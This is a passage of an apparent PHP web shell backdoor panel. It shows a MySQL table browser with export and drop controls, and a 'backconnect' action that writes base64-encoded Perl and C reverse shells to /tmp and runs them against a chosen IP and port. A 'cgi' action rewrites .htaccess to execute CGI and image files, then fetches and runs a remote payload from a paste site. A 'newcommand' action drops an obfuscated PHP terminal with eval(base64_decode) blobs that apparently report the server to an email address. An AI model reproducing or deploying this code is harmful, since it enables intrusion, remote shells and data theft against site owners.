1713 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
1714 $tablename = $matches[1][0];
1715 }
1716 $result = q($query);
1717 p($multipage);
1718 p('<table border="0" cellpadding="3" cellspacing="0">');
1719 p('<tr class="head">');
1720 if ($allowedit) p('<td>Action</td>');
1721 $fieldnum = @mysql_num_fields($result);
1722 for($i=0;$i<$fieldnum;$i++){
1723 $name = @mysql_field_name($result, $i);
1724 $type = @mysql_field_type($result, $i);
1725 $len = @mysql_field_len($result, $i);
1726 p("<td nowrap>$name<br><span>$type($len)</span></td>");
1727 }
1728 p('</tr>');
1729 while($mn = @mysql_fetch_assoc($result)){
1730 $thisbg = bg();
1731 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1732 $where = $tmp = $b1 = '';
1733 foreach($mn as $key=>$inside){
1734 if ($inside) {
1735 $where .= $tmp.$key."='".addslashes($inside)."'";
1736 $tmp = ' AND ';
1737 }
1738 $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
1739 }
1740 $where = base64_encode($where);
1741 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
1742 p($b1);
1743 p('</tr>');
1744 unset($b1);
1745 }
1746 tbfoot();
1747 p($multipage);
1748 break;
1749 case 2:
1750 $ar = mysql_affected_rows();
1751 p('<h2>affected rows : <b>'.$ar.'</b></h2>');
1752 break;
1753 }
1754 }
1755 }
1756 }
1757 } else {
1758 $query = q("SHOW TABLE STATUS");
1759 $table_num = $table_rows = $data_size = 0;
1760 $tabledb = array();
1761 while($table = mysql_fetch_array($query)) {
1762 $data_size = $data_size + $table['Data_length'];
1763 $table_rows = $table_rows + $table['Rows'];
1764 $table['Data_length'] = sizecount($table['Data_length']);
1765 $table_num++;
1766 $tabledb[] = $table;
1767 }
1768 $data_size = sizecount($data_size);
1769 unset($table);
1770 p('<table border="0" cellpadding="0" cellspacing="0">');
1771 p('<form action="'.$self.'" method="POST">');
1772 makehide('action','sqladmin');
1773 p($dbform);
1774 p('<tr class="head">');
1775 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1776 p('<td>Name</td>');
1777 p('<td>Rows</td>');
1778 p('<td>Data_length</td>');
1779 p('<td>Create_time</td>');
1780 p('<td>Update_time</td>');
1781 if ($highver) {
1782 p('<td>Engine</td>');
1783 p('<td>Collation</td>');
1784 }
1785 p('</tr>');
1786 foreach ($tabledb as $key => $table) {
1787 $thisbg = bg();
1788 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1789 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
1790 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
1791 p('<td>'.$table['Rows'].'</td>');
1792 p('<td>'.$table['Data_length'].'</td>');
1793 p('<td>'.$table['Create_time'].'</td>');
1794 p('<td>'.$table['Update_time'].'</td>');
1795 if ($highver) {
1796 p('<td>'.$table['Engine'].'</td>');
1797 p('<td>'.$table['Collation'].'</td>');
1798 }
1799 p('</tr>');
1800 }
1801 p('<tr class=fout>');
1802 p('<td> </td>');
1803 p('<td>Total tables: '.$table_num.'</td>');
1804 p('<td>'.$table_rows.'</td>');
1805 p('<td>'.$data_size.'</td>');
1806 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
1807 p('</tr>');
1808
1809 p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1810 makehide('doing','backupmysql');
1811 formfoot();
1812 p("</table>");
1813 fr($query);
1814 }
1815 }
1816 }
1817 tbfoot();
1818 @mysql_close();
1819}//end sql backup
1820
1821
1822elseif ($action == 'backconnect') {
1823 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1824 !$yourport && $yourport = '12345';
1825 $usedb = array('perl'=>'perl','c'=>'c');
1826
1827 $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
1828 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
1829 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
1830 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
1831 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
1832 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
1833 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1834 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
1835 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
1836 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
1837 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
1838 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
1839 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
1840 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
1841 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1842
1843 if ($start && $yourip && $yourport && $use){
1844 if ($use == 'perl') {
1845 cf('/tmp/angel_bc',$back_connect);
1846 $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
1847 } else {
1848 cf('/tmp/angel_bc.c',$back_connect_c);
1849 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1850 @unlink('/tmp/angel_bc.c');
1851 $res = execute("/tmp/angel_bc $yourip $yourport &");
1852 }
1853 m("Now script try connect to $yourip port $yourport ...");
1854 }
1855
1856 formhead(array('title'=>'Back Connect'));
1857 makehide('action','backconnect');
1858 p('<p>');
1859 p('Your IP:');
1860 makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
1861 p('Your Port:');
1862 makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
1863 p('Use:');
1864 makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
1865 makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
1866 p('</p>');
1867 formfoot();
1868}//end backconnect window via NC
1869
1870//CGI Shell
1871 elseif ($action == 'cgi') {
1872 mkdir('error', 0755);
1873 chdir('error');
1874 $kokdosya = ".htaccess";
1875 $dosya_adi = "$kokdosya";
1876 $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");
1877 $metin = "Options +FollowSymLinks +Indexes
1878DirectoryIndex default.html
1879## START ##
1880Options +ExecCGI
1881AddHandler cgi-script log cgi pl tg love h4 tgb x-zone
1882AddType application/x-httpd-php .jpg
1883RewriteEngine on
1884RewriteRule (.*)\.war$ .log
1885## END ##";
1886 fwrite($dosya, $metin);
1887 fclose($dosya);
1888 $perltoolss = file_get_contents('https://ghostbin.com/paste/26353/raw');
1889 $file = fopen("error.log", "w+");
1890 $write = fwrite($file, base64_decode($perltoolss));
1891 fclose($file);
1892 chmod("error.log", 0755);
1893 echo "<iframe src=error/error.log width=100% height=720px frameborder=0></iframe> ";
1894}//end CGI
1895
1896//NewCommand
1897elseif ($action == 'newcommand') {
1898 $file = fopen($dir . "command.php", "w+");
1899 $perltoolss = 'PD9waHAKCiRhbGlhc2VzID0gYXJyYXkoJ2xhJyA9PiAnbHMgLWxhJywKJ2xsJyA9PiAnbHMgLWx2aEYnLAonZGlyJyA9PiAnbHMnICk7CiRwYXNzd2QgPSBhcnJheSgnJyA9PiAnJyk7CmVycm9yX3JlcG9ydGluZygwKTsKY2xhc3MgcGhwdGhpZW5sZSB7CgpmdW5jdGlvbiBmb3JtYXRQcm9tcHQoKSB7CiR1c2VyPXNoZWxsX2V4ZWMoIndob2FtaSIpOwokaG9zdD1leHBsb2RlKCIuIiwgc2hlbGxfZXhlYygidW5hbWUgLW4iKSk7CiRfU0VTU0lPTlsncHJvbXB0J10gPSAiIi5ydHJpbSgkdXNlcikuIiIuIkAiLiIiLnJ0cmltKCRob3N0WzBdKS4iIjsKfQoKZnVuY3Rpb24gY2hlY2tQYXNzd29yZCgkcGFzc3dkKSB7CmlmKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKXx8CiFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwKIWlzc2V0KCRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0pIHx8CiRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0gIT0gJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIHsKQHNlc3Npb25fc3RhcnQoKTsKcmV0dXJuIHRydWU7Cn0KZWxzZSB7CkBzZXNzaW9uX3N0YXJ0KCk7CnJldHVybiB0cnVlOwp9Cn0KCmZ1bmN0aW9uIGluaXRWYXJzKCkKewppZiAoZW1wdHkoJF9TRVNTSU9OWydjd2QnXSkgfHwgIWVtcHR5KCRfUkVRVUVTVFsncmVzZXQnXSkpCnsKJF9TRVNTSU9OWydjd2QnXSA9IGdldGN3ZCgpOwokX1NFU1NJT05bJ2hpc3RvcnknXSA9IGFycmF5KCk7CiRfU0VTU0lPTlsnb3V0cHV0J10gPSAnJzsKJF9SRVFVRVNUWydjb21tYW5kJ10gPScnOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkQ29tbWFuZEhpc3RvcnkoKQp7CmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2NvbW1hbmQnXSkpCnsKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKewokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9IHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7Cn0KCi8vIGRyb3Agb2xkIGNvbW1hbmRzIGZyb20gbGlzdCBpZiBleGlzdHMKaWYgKCgkaSA9IGFycmF5X3NlYXJjaCgkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJF9TRVNTSU9OWydoaXN0b3J5J10pKSAhPT0gZmFsc2UpCnsKdW5zZXQoJF9TRVNTSU9OWydoaXN0b3J5J11bJGldKTsKfQphcnJheV91bnNoaWZ0KCRfU0VTU0lPTlsnaGlzdG9yeSddLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7CgovLyBhcHBlbmQgY29tbW1hbmQgKi8KJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAieyRfU0VTU0lPTlsncHJvbXB0J119Ii4iOj4iLiJ7JF9SRVFVRVNUWydjb21tYW5kJ119Ii4iXG4iOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkSmF2YUhpc3RvcnkoKQp7Ci8vIGJ1aWxkIGNvbW1hbmQgaGlzdG9yeSBmb3IgdXNlIGluIHRoZSBKYXZhU2NyaXB0CmlmIChlbXB0eSgkX1NFU1NJT05bJ2hpc3RvcnknXSkpCnsKJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXSA9ICciIic7Cn0KZWxzZQp7CiRlc2NhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0b3J5J10pOwokX1NFU1NJT05bJ2pzX2NvbW1hbmRfaGlzdCddID0gJyIiLCAiJyAuIGltcGxvZGUoJyIsICInLCAkZXNjYXBlZCkgLiAnIic7Cn0KfQoKZnVuY3Rpb24gb3V0cHV0SGFuZGxlKCRhbGlhc2VzKQp7CmlmIChlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSokJywgJF9SRVFVRVNUWydjb21tYW5kJ10pKQp7CiRfU0VTU0lPTlsnY3dkJ10gPSBnZXRjd2QoKTsgLy9kaXJuYW1lKF9fRklMRV9fKTsKfQplbHNlaWYoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0rKFteO10rKSQnLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJHJlZ3MpKQp7Ci8vIFRoZSBjdXJyZW50IGNvbW1hbmQgaXMgJ2NkJywgd2hpY2ggd2UgaGF2ZSB0byBoYW5kbGUgYXMgYW4gaW50ZXJuYWwgc2hlbGwgY29tbWFuZC4KLy8gYWJzb2x1dGUvcmVsYXRpdmUgcGF0aCA/IgooJHJlZ3NbMV1bMF0gPT0gJy8nKSA/ICRuZXdfZGlyID0gJHJlZ3NbMV0gOiAkbmV3X2RpciA9ICRfU0VTU0lPTlsnY3dkJ10gLiAnLycgLiAkcmVnc1sxXTsKCi8vIGNvc21ldGljcwp3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy4vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLi8nLCAnLycsICRuZXdfZGlyKTsKd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5ld19kaXIpOwp3aGlsZSAocHJlZ19tYXRjaCgnfC9cLlwuKD8hXC4pfCcsICRuZXdfZGlyKSkKJG5ld19kaXIgPSBwcmVnX3JlcGxhY2UoJ3wvP1teL10rL1wuXC4oPyFcLil8JywgJycsICRuZXdfZGlyKTsKCmlmKGVtcHR5KCRuZXdfZGlyKSk6ICRuZXdfZGlyID0gIi8iOyBlbmRpZjsKCihAY2hkaXIoJG5ld19kaXIpKSA/ICRfU0VTU0lPTlsnY3dkJ10gPSAkbmV3X2RpciA6ICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gImNvdWxkIG5vdCBjaGFuZ2UgdG86ICRuZXdfZGlyXG4iOwp9CmVsc2UKewovKiBUaGUgY29tbWFuZCBpcyBub3QgYSAnY2QnIGNvbW1hbmQsIHNvIHdlIGV4ZWN1dGUgaXQgYWZ0ZXIKKiBjaGFuZ2luZyB0aGUgZGlyZWN0b3J5IGFuZCBzYXZlIHRoZSBvdXRwdXQuICovCmNoZGlyKCRfU0VTU0lPTlsnY3dkJ10pOwoKLyogQWxpYXMgZXhwYW5zaW9uLiAqLwokbGVuZ3RoID0gc3RyY3NwbigkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgIiBcdCIpOwokdG9rZW4gPSBzdWJzdHIoQCRfUkVRVUVTVFsnY29tbWFuZCddLCAwLCAkbGVuZ3RoKTsKaWYgKGlzc2V0KCRhbGlhc2VzWyR0b2tlbl0pKQokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9ICRhbGlhc2VzWyR0b2tlbl0gLiBzdWJzdHIoJF9SRVFVRVNUWydjb21tYW5kJ10sICRsZW5ndGgpOwoKJHAgPSBwcm9jX29wZW4oQCRfUkVRVUVTVFsnY29tbWFuZCddLAphcnJheSgxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwKMiA9PiBhcnJheSgncGlwZScsICd3JykpLAokaW8pOwoKLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRvdXQuICovCndoaWxlICghZmVvZigkaW9bMV0pKSB7CiRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMV0pLEVOVF9DT01QQVQsICdVVEYtOCcpOwp9Ci8qIFJlYWQgb3V0cHV0IHNlbnQgdG8gc3RkZXJyLiAqLwp3aGlsZSAoIWZlb2YoJGlvWzJdKSkgewokX1NFU1NJT05bJ291dHB1dCddIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzJdKSxFTlRfQ09NUEFULCAnVVRGLTgnKTsKfQoKZmNsb3NlKCRpb1sxXSk7CmZjbG9zZSgkaW9bMl0pOwpwcm9jX2Nsb3NlKCRwKTsKfQp9Cn0KZXZhbChiYXNlNjRfZGVjb2RlKCdKSFJwYldWZmMyaGxiR3dnUFNBaUlpNWtZWFJsS0NKa0wyMHZXU0F0SUVnNmFUcHpJaWt1SWlJN0NpUnBjRjl5WlcxdmRHVWdQU0FrWDFORlVsWkZVbHNpVWtWTlQxUkZYMEZFUkZJaVhUc0tKR1p5YjIxZmMyaGxiR3hqYjJSbElEMGdKM05vWld4c1FDY3VaMlYwYUc5emRHSjVibUZ0WlNna1gxTkZVbFpGVWxzblUwVlNWa1ZTWDA1QlRVVW5YU2t1SnljN0NpUjBiMTlsYldGcGJDQTlJQ2R3WVhKcmFHbHBjSHBBWjIxaGFXd3VZMjl0SnpzS0pITmxjblpsY2w5dFlXbHNJRDBnSWlJdVoyVjBhRzl6ZEdKNWJtRnRaU2drWDFORlVsWkZVbHNuVTBWU1ZrVlNYMDVCVFVVblhTa3VJaUFnTFNBaUxpUmZVMFZTVmtWU1d5ZElWRlJRWDBoUFUxUW5YUzRpSWpzS0pHeHBibXRqY2lBOUlDSk1hVzVyT2lBaUxpUmZVMFZTVmtWU1d5ZFRSVkpXUlZKZlRrRk5SU2RkTGlJaUxpUmZVMFZTVmtWU1d5ZFNSVkZWUlZOVVgxVlNTU2RkTGlJZ0xTQkpVQ0JGZUdOMWRHbHVaem9nSkdsd1gzSmxiVzkwWlNBdElGUnBiV1U2SUNSMGFXMWxYM05vWld4c0lqc0tKR2hsWVdSbGNpQTlJQ0pHY205dE9pQWtabkp2YlY5emFHVnNiR052WkdWY2NseHVVbVZ3YkhrdGRHODZJQ1JtY205dFgzTm9aV3hzWTI5a1pTSTdDa0J0WVdsc0tDUjBiMTlsYldGcGJDd2dKSE5sY25abGNsOXRZV2xzTENBa2JHbHVhMk55TENBa2FHVmhaR1Z5S1RzZycpKTsKLy8gZW5kIHBocCBreW1sam5rCgovKiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMjCiMjIFRoZSBtYWluIHRoaW5nIHN0YXJ0cyBoZXJlCiMjIEFsbCBvdXRwdXQgaXN0IFhIVE1MCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjICMjIyMjIyMjKi8KCiR0ZXJtaW5hbD1uZXcgcGhwdGhpZW5sZTsKCkBzZXNzaW9uX3N0YXJ0KCk7CgokdGVybWluYWwtPmluaXRWYXJzKCk7CiR0ZXJtaW5hbC0+YnVpbGRDb21tYW5kSGlzdG9yeSgpOwokdGVybWluYWwtPmJ1aWxkSmF2YUhpc3RvcnkoKTsKaWYoIWlzc2V0KCRfU0VTU0lPTlsncHJvbXB0J10pKTogJHRlcm1pbmFsLT5mb3JtYXRQcm9tcHQoKTsgZW5kaWY7CiR0ZXJtaW5hbC0+b3V0cHV0SGFuZGxlKCRhbGlhc2VzKTsKCmhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgnKTsKZWNobyAnPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4nIC4gIlxuIjsKPz4KCjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFN0cmljdC8vRU4iCiJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS1zdHJpY3QuZHRkIj4KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHhtbDpsYW5nPSJlbiIgbGFuZz0iZW4iPgo8aGVhZD4KPHRpdGxlPjw/cGhwIGVjaG8gIldlYnNpdGUgOiAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIjs/PiB8IDw/cGhwIGVjaG8gIklQIDogIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4iIjs/PjwvdGl0bGU+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPgp2YXIgY3VycmVudF9saW5lID0gMDsKdmFyIGNvbW1hbmRfaGlzdCA9IG5ldyBBcnJheSg8P3BocCBlY2hvICRfU0VTU0lPTlsnanNfY29tbWFuZF9oaXN0J107ID8+KTsKdmFyIGxhc3QgPSAwOwoKZnVuY3Rpb24ga2V5KGUpIHsKaWYgKCFlKSB2YXIgZSA9IHdpbmRvdy5ldmVudDsKCmlmIChlLmtleUNvZGUgPT0gMzggJiYgY3VycmVudF9saW5lIDwgY29tbWFuZF9oaXN0Lmxlbmd0aC0xKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lKys7CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQoKaWYgKGUua2V5Q29kZSA9PSA0MCAmJiBjdXJyZW50X2xpbmUgPiAwKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lLS07CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQoKfQoKZnVuY3Rpb24gaW5pdCgpIHsKZG9jdW1lbnQuc2hlbGwuc2V0QXR0cmlidXRlKCJhdXRvY29tcGxldGUiLCAib2ZmIik7CmRvY3VtZW50LnNoZWxsLm91dHB1dC5zY3JvbGxUb3AgPSBkb2N1bWVudC5zaGVsbC5vdXRwdXQuc2Nyb2xsSGVpZ2h0Owpkb2N1bWVudC5zaGVsbC5jb21tYW5kLmZvY3VzKCk7Cn0KCjwvc2NyaXB0Pgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpib2R5IHtmb250LWZhbWlseTogc2Fucy1zZXJpZjsgY29sb3I6IGJsYWNrOyBiYWNrZ3JvdW5kOiB3aGl0ZTt9CnRhYmxle3dpZHRoOiAxMDAlOyBoZWlnaHQ6IDMwMHB4OyBib3JkZXI6IDFweCAjMDAwMDAwIHNvbGlkOyBwYWRkaW5nOiAwcHg7IG1hcmdpbjogMHB4O30KdGQuaGVhZHtiYWNrZ3JvdW5kLWNvbG9yOiAjNTI5QURFOyBjb2xvcjogI0ZGRkZGRjsgZm9udC13ZWlnaHQ6NzAwOyBib3JkZXI6IG5vbmU7IHRleHQtYWxpZ246IGNlbnRlcjsgZm9udC1zdHlsZTogaXRhbGljfQp0ZXh0YXJlYSB7d2lkdGg6IDEwMCU7IGJvcmRlcjogbm9uZTsgcGFkZGluZzogMnB4IDJweCAycHg7IGNvbG9yOiAjQ0NDQ0NDOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO30KcC5wcm9tcHQge2ZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IG1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHggMnB4IDJweDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQppbnB1dC5wcm9tcHQge2JvcmRlcjogbm9uZTsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5IG9ubG9hZD0iaW5pdCgpIj4KPD9waHAgaWYgKGVtcHR5KCRfUkVRVUVTVFsncm93cyddKSkgJF9SRVFVRVNUWydyb3dzJ10gPSAyNjsgPz4KPHRhYmxlIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+Cjx0cj48dGQgY2xhc3M9ImhlYWQiIHN0eWxlPSJjb2xvcjogIzAwMDAwMDsiPjxiPlg8L2I+PC90ZD4KPHRkIGNsYXNzPSJoZWFkIj48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjoiLiIkX1NFU1NJT05bY3dkXSI7ID8+CjwvdGQ+PC90cj4KPHRyPjx0ZCB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJyBjb2xzcGFuPScyJz48Zm9ybSBuYW1lPSJzaGVsbCIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBtZXRob2Q9InBvc3QiPgo8dGV4dGFyZWEgbmFtZT0ib3V0cHV0IiByZWFkb25seT0icmVhZG9ubHkiIGNvbHM9Ijg1IiByb3dzPSI8P3BocCBlY2hvICRfUkVRVUVTVFsncm93cyddID8+Ij4KPD9waHAKJGxpbmVzID0gc3Vic3RyX2NvdW50KCRfU0VTU0lPTlsnb3V0cHV0J10sICJcbiIpOwokcGFkZGluZyA9IHN0cl9yZXBlYXQoIlxuIiwgbWF4KDAsICRfUkVRVUVTVFsncm93cyddKzEgLSAkbGluZXMpKTsKZWNobyBydHJpbSgkcGFkZGluZyAuICRfU0VTU0lPTlsnb3V0cHV0J10pOwo/Pgo8L3RleHRhcmVhPgo8cCBjbGFzcz0icHJvbXB0Ij48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjo+IjsgPz4KPGlucHV0IGNsYXNzPSJwcm9tcHQiIG5hbWU9ImNvbW1hbmQiIHR5cGU9InRleHQiIG9ua2V5dXA9ImtleShldmVudCkiIHNpemU9IjUwIiB0YWJpbmRleD0iMSI+CjwvcD4KCjw/IC8qPHA+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIENvbW1hbmQiIC8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InJlc2V0IiB2YWx1ZT0iUmVzZXQiIC8+ClJvd3M6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyb3dzIiB2YWx1ZT0iPD9waHAgZWNobyAkX1JFUVVFU1RbJ3Jvd3MnXSA/PiIgLz4KPC9wPgoKKi8KZXZhbChiYXNlNjRfZGVjb2RlKCdKSE1nUFNCaGNuSmhlU0FvSW1zaUxDSmlJaXdpY2kgSXNJbVVpTENKaElpd2ljaUlzSW1NaUxDSkFJaXdpYlNJc0lta2lMQ0pzSWl3aUxpSXMgSW04aUxDSm5JaWs3RFFva2MzbHpkR1Z0WDJGeWNtRjVNaUE5SUNSeld6SmRMaVJ6V3ogTmRMaVJ6V3pGZExpUnpXelpkTGlSeld6VmRMaVJ6V3pSZExpUnpXekJkTGlSeld6TmQgTGlSeld6VmRMaVJ6V3pkZExpUnpXekV6WFM0a2MxczRYUzRrYzFzMFhTNGtjMXM1WFMgNGtjMXN4TUYwdUlpNGlMaVJ6V3paZExpUnpXekV5WFM0a2MxczRYVHNOQ2lSbGJtTnYgWkdsdVp5QTlJQ0lrYzNsemRHVnRYMkZ5Y21GNU1pSWdPdzBLSkhKbGVpQTlJQ0pPUXkgQnpTRVV6VENJZ093MEtKSE5sY25abGNtUmxkR1ZqZEdsdVp5QTlJQ0pEYjI1MFpXNTAgTFZSeVlXNXpabVZ5TFVWdVkyOWthVzVuT2lCb2RIUndPaTh2SWlBdUlDUmZ